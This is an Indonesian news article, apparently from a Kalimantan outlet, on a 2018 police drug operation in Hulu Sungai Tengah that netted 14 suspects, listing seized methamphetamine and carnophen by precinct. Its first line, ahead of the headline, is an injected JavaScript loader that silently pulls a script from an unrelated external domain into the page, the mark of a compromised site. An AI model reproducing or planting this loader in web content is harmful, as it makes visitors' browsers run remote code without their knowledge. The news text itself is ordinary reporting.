(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

14 Tersangka Diringkus Polres HST Selama Operasi Antik Intan 2018


BARABAI, Polres Hulu Sungai Tengah (HST) menggelar konfrensi pers hasil Operasi Kepolisian Kewilayahan bersandi Antik Intan 2018 dari 26 Juli hingga 8 Agustus, Rabu (15/8) pukul 10.00 Wita.

Selama kurang lebih satu bulan operasi berlangsung, sedikitnya 14 orang tersangka berhasil diamankan. Para tersangka terlibat beberapa kasus diantaranya penyalahgunaan narkotika sabu dan obat terlarang carnophen.

Dipimpin langsung Kapolres HST AKBP Sabana Atmojo SIK MH didampingi Kasat Res Narkoba Polres HST AKP Maturidi SH, Kasat Sabhara Anton Silalahi, dan perwira lainnya.

AKBP Sabana Atmojo mengungkapkan, penangkapan ke 14 tersangka, pihaknya berhasil mengamankan barang bukti sabu 5 gram dan ratusan butir carnophen yang dikumpulkan dari Polres HST maupun Polsek jajarannya.

“Selama operasi berlangsung, kami berhasil menyita barang bukti yang diantaranya sabu 5,15 gram dan 112 butir carnophen,” ucapnya kepada rekan awak media.

Kapolres HST mengucapkan terimakasih banyak atas bantuan masyarakat selama operasi berjalan lancar dan dapat mengungkap peredaran Narkoba di HST.

“Kepada masyarakat, saya menghimbau untuk menjaga keluarganya agar tidak terlibat dalam penyalahgunaan Narkoba,” pungkasnya.

Para pelaku akan dikenakan UU Tindak Pidana Narkotika sebagaimana di maksud dalam Pasal 114 ayat (1) sub pasal 112 ayat (1) sub pasal 132 UU RI No.35 Tahun 2009, tentang Narkotika, Jo Pasal 197 Jo 196 UU RI Nomor 36 Tahun 2009 Tentang Kesehatan.

Berikut Hasil Operasi Antik Intan 2018 Polres HST :

Sat Res Narkoba HST, 8 tersangkan, 2,43 Gram.

Polsek Pandawan, 1 tersangka, 1,31 gram.

Polsek Batang Alai Selatan, 1 tersangka, sabu 0,30 gram.

Polsek Batang Alai Utara, 1 tersangka, sabu 0,48 gram.

Polsek Batu Benawa, 1 tersangka, carnophen sebanyak 112 butir.

Polsek Haruyan, 1 tersangka, sabu 0,34 gram

Polsek Labuan Amas Utara, 1 tersangka, sabu 0,62 gram. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

9 menit ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

13 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

15 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

15 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

17 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.